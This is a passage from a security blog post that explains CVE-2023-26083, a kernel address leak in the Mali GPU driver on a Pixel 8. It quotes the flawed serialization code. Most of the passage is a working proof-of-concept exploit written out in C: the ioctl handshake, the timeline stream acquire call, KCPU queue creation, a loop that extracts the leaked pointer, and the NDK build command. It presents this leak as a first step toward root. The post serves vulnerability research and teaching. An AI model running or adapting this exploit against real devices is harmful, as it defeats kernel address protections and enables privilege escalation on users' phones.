object, calls a logging helper that writes the event KBASE_TL_KBASE_NEW_KCPUQUEUE
into the ring buffer. This event typically contains the pointer to the newly allocated queue (kbase_kcpu_command_queue
). Internally, the logging helper uses a function like __kbase_tlstream_tl_kbase_kcpuqueue_new()
.
KBASE_TL_KBASE_KCPUQUEUE_ENQUEUE_FENCE_WAIT
and __kbase_tlstream_tl_kbase_kcpuqueue_enqueue_fence_wait
is where the vulnerability exists. Let’s take a look at this function is further detail to see why its vulnerable.
The function __kbase_tlstream_tl_kbase_kcpuqueue_enqueue_fence_wait() Explained
The following is the snippet of code for the function __kbase_tlstream_tl_kbase_kcpuqueue_enqueue_fence_wait
from the link https://cs.android.com/android/kernel/superproject/+/android-gs-shusky-5.15-android14-qpr3:private/google-modules/gpu/mali_kbase/tl/mali_kbase_tracepoints.c;l=2502.
void __kbase_tlstream_tl_kbase_kcpuqueue_enqueue_fence_wait(
struct kbase_tlstream *stream,
const void *kcpu_queue,
const void *fence
)
{
const u32 msg_id = KBASE_TL_KBASE_KCPUQUEUE_ENQUEUE_FENCE_WAIT;
const size_t msg_size = sizeof(msg_id) + sizeof(u64)
+ sizeof(kcpu_queue)
+ sizeof(fence)
;
char *buffer;
unsigned long acq_flags;
size_t pos = 0;
buffer = kbase_tlstream_msgbuf_acquire(stream, msg_size, &acq_flags);
pos = kbasep_serialize_bytes(buffer, pos, &msg_id, sizeof(msg_id));
pos = kbasep_serialize_timestamp(buffer, pos);
pos = kbasep_serialize_bytes(buffer,
pos, &kcpu_queue, sizeof(kcpu_queue));
pos = kbasep_serialize_bytes(buffer,
pos, &fence, sizeof(fence));
kbase_tlstream_msgbuf_release(stream, acq_flags);
}
The vulnerability lies in the fact that certain kernel pointers are serialized directly into the ring buffer as part of the timeline messages without being sanitized or stripped. Specifically, in __kbase_tlstream_tl_kbase_kcpuqueue_enqueue_fence_wait
, some events store the addresses of kernel objects such as:
kbase_kcpu_command_queue
pointer
dma_fence
pointer
kcpu_queue
is a pointer to struct kbase_kcpu_command_queue
and fence
is a pointer to a dma_fence
object. Both of these are kernel addresses. They are serialized with kbasep_serialize_bytes(buffer, pos, <<&ptr>>, sizeof(ptr))
directly into the timeline stream.
Note the calls to:
pos = kbasep_serialize_bytes(buffer, pos, &kcpu_queue, sizeof(kcpu_queue));
pos = kbasep_serialize_bytes(buffer, pos, &fence, sizeof(fence));
This code writes the pointer in its full 64-bit form into the buffer. In our case, the code copies the raw pointer values (kcpu_queue
and fence
) into the timeline stream buffer. Then, the user process reading from the ring buffer obtains these addresses. So, a user-space process reading the timeline ring buffer sees the raw addresses in events matching known message IDs (e.g., KBASE_TL_KBASE_NEW_KCPUQUEUE
or KBASE_TL_KBASE_KCPUQUEUE_ENQUEUE_FENCE_WAIT
).
Talking about it further, the __kbase_tlstream_tl_kbase_kcpuqueue_enqueue_fence_wait
function shown to us serializes kernel pointers, such as kbase_kcpu_command_queue
and dma_fence
, directly into the ring message buffer.
Here is the code for kbasep_serialize_bytes
that can be found at https://cs.android.com/android/kernel/superproject/+/android-gs-shusky-5.15-android14-qpr3:private/google-modules/gpu/mali_kbase/tl/mali_kbase_tl_serialize.h;l=44.
static inline size_t kbasep_serialize_bytes(char *buffer, size_t pos, const void *bytes, size_t len)
{
KBASE_DEBUG_ASSERT(buffer);
KBASE_DEBUG_ASSERT(bytes);
memcpy(&buffer[pos], bytes, len);
return pos + len;
}
Hence the pointer is copied in full with no sanitization.
Our target function is called when a fence is enqueued on a kCPU command queue. Once the driver finishes constructing the message, it calls kbase_tlstream_msgbuf_release()
to finalize the message in the ring buffer. This makes it visible to the user space side of the ring buffer. User space then reads from this ring buffer using an acquired file descriptor, and in the process receives the pointer verbatim.
The ring buffer is a shared memory region or a special read interface accessible through the file descriptor returned in step 2. So, all the user-space process must do is read()
from that file descriptor, parse out the message ID in each block of data, and extract any pointer-sized fields. Because of the straightforward format (message ID, timestamp, pointer), the user application can easily detect which message ID corresponds to “new kCPU queue” or “enqueue fence wait” and thus retrieve those pointer fields.
This is the underlying reason why the vulnerability is “exploitable”. Because the user-space process can read the timeline stream via normal read operation, and these pointers are stored directly in the ring buffer – on the acquired file descriptor, these kernel pointers become visible to unprivileged user processes, thereby leaking sensitive kernel addresses. Leaked addresses are typically used alongside another bug (like a use-after-free or arbitrary write). Knowing memory locations transforms guesswork into deterministic exploitation.
Exploiting the bug
So here is recap of how we’ll try and exploit the issue.
The exploit leverages the kbase_api_tlstream_acquire
ioctl command to read the ring buffer containing serialized messages. By monitoring messages with the ID KBASE_TL_KBASE_NEW_KCPUQUEUE
, we will try to retrieve the address of the kbase_kcpu_command_queue
object.
Here are the steps involved in the process:
- Open the Mali Device: We’ll opens the Mali device (
/dev/mali0
) and performs necessary initialization and handshake with the kernel driver usingKBASE_IOCTL_VERSION_CHECK
andKBASE_IOCTL_SET_FLAGS
. This establishes communication with the GPU driver.
- Acquire Timeline Stream: We will use
KBASE_IOCTL_TLSTREAM_ACQUIRE
ioctl to obtain a file descriptor for the timeline stream. Basically, the exploit acquires a file descriptor for the timeline stream usingkbase_api_tlstream_acquire
with theBASE_TLSTREAM_ENABLE_CSF_TRACEPOINTS
flag. This flag enables the necessary tracepoints for the exploit to work.
- Create KCPU Queue: Invoke
kbasep_kcpu_queue_new
to create a new KCPU queue, usingKBASE_IOCTL_KCPU_QUEUE_CREATE
which triggers theKBASE_TL_KBASE_NEW_KCPUQUEUE
message. So, A new kCPU queue is created usingkbasep_kcpu_queue_new
. This triggers the allocation of akbase_kcpu_command_queue
object in the kernel and the generation of theKBASE_TL_KBASE_NEW_KCPUQUEUE
message in the timeline stream.
- Monitor Timeline Stream and Read Ring Buffer: Continuously read from the ring buffer using
read()
and parse messages to locate the one withmsg_id
equal toKBASE_TL_KBASE_NEW_KCPUQUEUE
. When this message is found, the exploit extracts the kernel address of thekbase_kcpu_command_queue
object from the message buffer. This will contain the leaked kernel pointer.
- Extract Kernel Pointer: Once the relevant message is identified, extract the serialized
kcpu_queue
pointer from the buffer and print it.
This process effectively leaks a kernel pointer to user space, which can be instrumental in crafting further exploits. We can use it to find out the kernel base by subtracting known offsets. For instance, if the attacker has the address of a function pointer or struct known to be at a fixed offset from the main kernel base, they can do: {kernel_base} = {leaked_pointer} - {offset_to_the_object}
Note: In our next blog we’ll chain this address leak vulnerability with another one that provides arbitrary read/write to escalate privileges to root on our Pixel 8 device. For instance, think about what might happen if we overwrite function pointers in the kcpu_queue
object or in some other relevant kernel structure that we can reliably locate.
Exploit CVE-2023-26083 using PoC
A really good exploit code for this can be found at https://github.com/0x36/Pixel_GPU_Exploit. We’ll use a modified stripped version of this which focuses on only CVE-2023-26083. You can download it here.
Let’s break down our PoC exploit code based on the same steps we talked about in the Exploiting the bug section.
- Open the Mali Device
- Acquire Timeline Stream
- Create KCPU Queue
- Monitor Timeline Stream and Read Ring Buffer
- Extract Kernel Pointer
I) Open the Mali Device
In the poc code you’ll find device_config
.
struct device_config {
const char *fingerprint;
};
struct device_config dev_conf[] = {
[0] = { /*mydevice*/
"google/shiba/shiba:14/UD1A.231105.004/11010374:user/release-keys",
}
};
In our case, we are targeting a Pixel 8 device running Android 14 without the patch for CVE-2023-26083. You can use the code shown above to set up multiple devices and select between them based on their device fingerprints. It can also be used for attacks where each entry has device-specific kernel offsets for privilege escalation. For the pointer leak, these offsets are not strictly necessary, so we’ll just use the device fingerprint. In our next blog we’ll use a modified version of this with additional device specific offsets for our Pixel 8 device.
The exploit first verifies that the target device’s fingerprint matches the one specified in the code. If the fingerprints don’t match, the exploit is aborted to prevent the device from entering an unpredictable state.
If the fingerprints don’t match, the exploit is aborted to prevent the device from entering an unpredictable state. You can see this check in the mali_exploit()
function as shown in the snippet below:
int mali_exploit(void)
{
int err = 0;
conf = get_device_config();
if(!conf)
return -1;
/* getchar(); */
fd_limit_up();
int fd = open_device("/dev/mali0");
...
}
The function fd_limit_up()
is as shown in the code below:
void fd_limit_up()
{
struct rlimit lim = {};
if(getrlimit(RLIMIT_NOFILE, &lim)) {
perror("getrlimit");
exit(-1);
}
lim.rlim_cur = lim.rlim_max;
if(setrlimit(RLIMIT_NOFILE, &lim)){
perror("setrlimit");
exit(-1);
}
}
The function fd_limit_up()
raises the file descriptor limit (RLIMIT_NOFILE
) to its maximum allowed value. This is done here to ensure that operations (such as reading from a stream) are not hindered by low resource limits. Increasing the file descriptor limit and reading buffer data to extract a 64-bit kcpu_queue value, ensures that message IDs and IDs match specific criteria.
We can see that the PoC code opens the Mali device at /dev/mali0
and then communicates with the driver using several ioctl calls. These ioctls are specific to the Mali driver and can be seen in the snippet below:
int fd = open_device("/dev/mali0");
struct kbase_ioctl_version_check cmd = {.major = 1, .minor = -1};
kbase_api_handshake(fd, &cmd);
This is the version check handshake we talked about before. The KBASE_IOCTL_VERSION_CHECK
ioctl is sent to verify that the driver version is what the exploit expects. This handshake helps ensure compatibility with the target’s driver interface.
We then use the KBASE_IOCTL_SET_FLAGS to configure the driver to set context flags.
We can see that the PoC code opens the Mali device at /dev/mali0
and then communicates with the driver using several ioctl calls. These ioctls are specific to the Mali driver and can be seen in the snippet below:
struct kbase_ioctl_set_flags flags = {0};
kbase_api_set_flags(fd,&flags);
Setting flags can alter the behavior of the driver in ways that may be exploitable. In our case we just pass it as 0 for now to initialize it well.
If everything goes well, you should now have an established communication with the Mali GPU driver.
II) Acquire Timeline Stream
Allocating and initializing kcpu_args
is one of the first steps in the exploit. In the PoC code, you’ll see the struct kcpu_args
is defined as follows:
struct kcpu_args {
int fd;
int streamfd;
__u32 kcpu_id;
__u32 kctx_id;
__u64 kcpu_kaddr;
};
You can see it being used in the code next as follows:
struct kcpu_args *ta = (struct kcpu_args *)calloc(sizeof(*ta),1);
ta->fd = fd;
This code sets up a container for all the relevant information (file descriptors and IDs) that will be used throughout the exploitation process. By ensuring the memory is zeroed out initially, the code avoids unintended behavior that might arise from uninitialized data.
Setting ta->fd
immediately links the structure to the open Mali device, allowing subsequent functions to use this handle to communicate with the kernel driver via ioctl calls.
Next, from user space can request a file descriptor for reading from this ring buffer using the KBASE_IOCTL_TLSTREAM_ACQUIRE
call. We acquire a timeline stream using the following code:
ta->streamfd = kbase_api_tlstream_acquire(ta->fd, BASE_TLSTREAM_ENABLE_CSF_TRACEPOINTS);
if(ta->streamfd < 0) assert(1 == 0 && "Unable to have tlstream fd");
The code for the kbase_api_tlstream_acquire()
function is as shown below:
int kbase_api_tlstream_acquire(int fd, __u32 flags)
{
struct kbase_ioctl_tlstream_acquire data = { .flags = flags};
int ret = ioctl(fd,KBASE_IOCTL_TLSTREAM_ACQUIRE ,&data);
if(ret < 0 ) {
do_print("ioctl(KBASE_IOCTL_TLSTREAM_ACQUIRE): %s",strerror(errno));
} else {
do_dbg("Successfully set flags and file descriptor %d\n",ret);
}
return ret;
}
So effectively, ioctl KBASE_IOCTL_TLSTREAM_ACQUIRE
is used to obtain a timeline stream file descriptor ring buffer. The BASE_TLSTREAM_ENABLE_CSF_TRACEPOINTS
flag tells the driver to enable CSF (Command Stream Frontend) tracepoints. These tracepoints are later used to leak kernel addresses.
Next, based on the code snippets below, the context ID is retrieved via the KBASE_IOCTL_GET_CONTEXT_ID
ioctl. This ID is later used to filter the messages coming from the stream, ensuring that the leaked information corresponds to the current operation. So, the exploit sets BASE_TLSTREAM_ENABLE_CSF_TRACEPOINTS
to enable certain GPU tracepoints, ensuring the ring buffer logs messages about CPU queues.
ta->kctx_id = kbase_api_get_context_id(ta->fd);
The definition for kbase_api_get_context_id()
function is as shown below:
__u32 kbase_api_get_context_id(int fd)
{
struct kbase_ioctl_get_context_id info = {};
int ret = ioctl(fd,KBASE_IOCTL_GET_CONTEXT_ID,&info);
do_dbg("kbase_api_get_context_id() id = %d\n",info.id);
if(ret) {
perror("ioctl(KBASE_IOCTL_GET_CONTEXT_ID)");
exit(0);
}
return info.id;
}
III) Create KCPU Queue
Next, we can see a code as shown below:
ta->kcpu_id = kbasep_kcpu_queue_new(ta->fd);
When an event like kcpu_queue_new
is triggered:
- The driver calls a function akin to
__kbase_tlstream_msgbuf_acquire(stream, size, &acq_flags)
to allocate space within the ring buffer.
- It writes:
msg_id
(4 bytes)
- A 64-bit timestamp
- One or more pointers (
kcpu_queue
,dma_fence
, etc.)
- The driver then releases the buffer slice (
kbase_tlstream_msgbuf_release()
), making it visible to the user space side of the ring buffer.
The code for the function kbasep_kcpu_queue_new()
is shown below.
int kbasep_kcpu_queue_new(int fd)
{
struct kbase_ioctl_kcpu_queue_new info = {};
int ret = ioctl(fd,KBASE_IOCTL_KCPU_QUEUE_CREATE,&info);
if(ret) {
perror("ioctl(KBASE_IOCTL_KCPU_QUEUE_CREATE)");
exit(0);
} else {
return info.id;
}
return ret;
}
Effectively, looking at these snippets we as attackers creates a new kCPU queue by sending the KBASE_IOCTL_KCPU_QUEUE_CREATE
ioctl. Every time a new kcpu queue is allocated, the driver emits a timeline message containing details about the allocation. The driver allocates a new kcpu_queue
and logs this event internally using a message with ID KBASE_TL_KBASE_NEW_KCPUQUEUE
(identified as message ID 59 in the exploit) to the timeline ring buffer.
IV) Monitor Timeline Stream and Read Ring Buffer
Then, the PoC shows the following line:
ta->kcpu_kaddr = get_kcpu_kaddr(ta);
This makes a call to the function get_kcpu_kaddr()
which is declared in the code as follows:
__u64 get_kcpu_kaddr(struct kcpu_args *args)
{
#define KBASE_TL_KBASE_NEW_KCPUQUEUE 59
struct kcpu_args *ta = args;
char buf[0x1000] = {};
ssize_t rb = 0;
do {
rb = read(ta->streamfd,buf,sizeof(buf));
char *p = buf;
for(ssize_t i=0; i < rb && rb > 0x24; i++, p++) {
__u32 msg_id = *(__u32 *)(p );
__u32 id = *(__u32 *)(p + (32 - 12)); /* kcpu_queue_id */
__u32 kid = *(__u32 *)(p + (36 - 12)); /* kernel_ctx_id */
if((msg_id == KBASE_TL_KBASE_NEW_KCPUQUEUE) && (id == ta->kcpu_id) \
&& (kid == (ta->kctx_id ))) {
__u64 kcpu_queue = *(__u64 *)(p + (24 - 12));
return kcpu_queue;
}
}
} while((rb >= 0) && ta->kcpu_kaddr == 0);
return 0;
}
This function reads from the timeline stream, parsing messages to locate those with the KBASE_TL_KBASE_NEW_KCPUQUEUE
ID. So it loop scans for the msg_id == 59
. Upon identifying such a message, it interprets the subsequent bytes as the pointer. It extracts the kbase_kcpu_command_queue
kernel pointer (kcpu_queue
) and returns it, effectively leaking a kernel pointer to user space.
(V) Extract Kernel Pointer
Once the relevant message is identified, we extract the serialized kcpu_queue
pointer from the buffer and print it using the following code.
do_print("[+] Got the kcpu_id (%d) kernel address = 0x%llx from context (0x%x)\n",
ta->kcpu_id,ta->kcpu_kaddr,ta->kcpu_id);
CVE-2023-26083 exploit in action
To compile the exploit you can download the latest version of Android NDK using the Android developer website at https://developer.android.com/ndk/downloads. We are on an arm64 based Mac and the command we’ll be using it going to be the following:
NDK/toolchains/llvm/prebuilt/darwin-x86_64/bin/aarch64-linux-android34-clang++ -static-libstdc++ -w -Wno-c++11-narrowing -g -O0 poc_working_leak.cpp -o poc -llog
You’ll see a few compiler flags are being used in the code. Here is the details about it:
static-libstdc++
: Statically links the C++ standard library (libstdc++
) into the executable. This ensures the executable doesn’t rely on dynamic versions of the library on the target system.
w
: Suppresses all warnings during compilation.
Wno-c++11-narrowing
: Specifically disables warnings about narrowing conversions in C++11 (e.g. converting from a larger to a smaller data type without an explicit cast).
g
: Includes debugging information in the compiled binary, useful for debugging with tools likegdb
.
O0
: Disables all optimizations, making debugging easier as the code closely resembles the source.
Now is the moment of truth. Let’s compile and run this exploit on our Pixel 8 device and see if it works.

As you can see in the screenshot above we leaked an address starting with 0xfffff indicating that the leaked address is a kernel address.
Conclusion
In summary, the Mali GPU driver’s timeline stream mechanism allowed unprivileged attackers to obtain direct kernel pointers via normal read operations on a ring buffer. The posted exploit demonstrates how an unprivileged application can easily leak the address of kbase_kcpu_command_queue
. CVE-2023-26083 allows a non-privileged user to make valid GPU processing operations that expose sensitive kernel metadata. The issue was also found by Project Zero team to be used in the wild. The issue was later fixed by preventing unprivileged access to the tlstream facility. Note that even though Google reported that the issue was patched in March 2023, however the issue was exploitable on October 2023 version of our Pixel 8 device. It was eventually fixed in the December 2023 Security Update Bulletin
In our next blog we’ll chain this address leak vulnerability with another one that provides arbitrary read/write to escalate privileges to root on our Pixel 8 device.
For more information on the Mali GPU driver and the specific details of this vulnerability refer to the following links:
Looking to elevate your expertise in iOS Security?
Offensive iOS Internals Training
365 Days of Access | Hands-On Learning | Self-Paced Training
Explore Our On-Demand Courses
If you’re interested in diving deeper into topics like kernel panic analysis, vulnerability research, and low-level system debugging, 8ksec Academy offers a wide range of on-demand courses tailored for security professionals and enthusiasts.
Visit academy.8ksec.io to explore our full catalog of courses. Whether you’re a beginner or an experienced professional, you’ll find resources to enhance your skills and stay ahead in the fast-evolving field of Mobile Security.
Feel free to reach out to us at support@ to ask any questions related to our blogs or any future blogs that you would like to see.
Have a great day !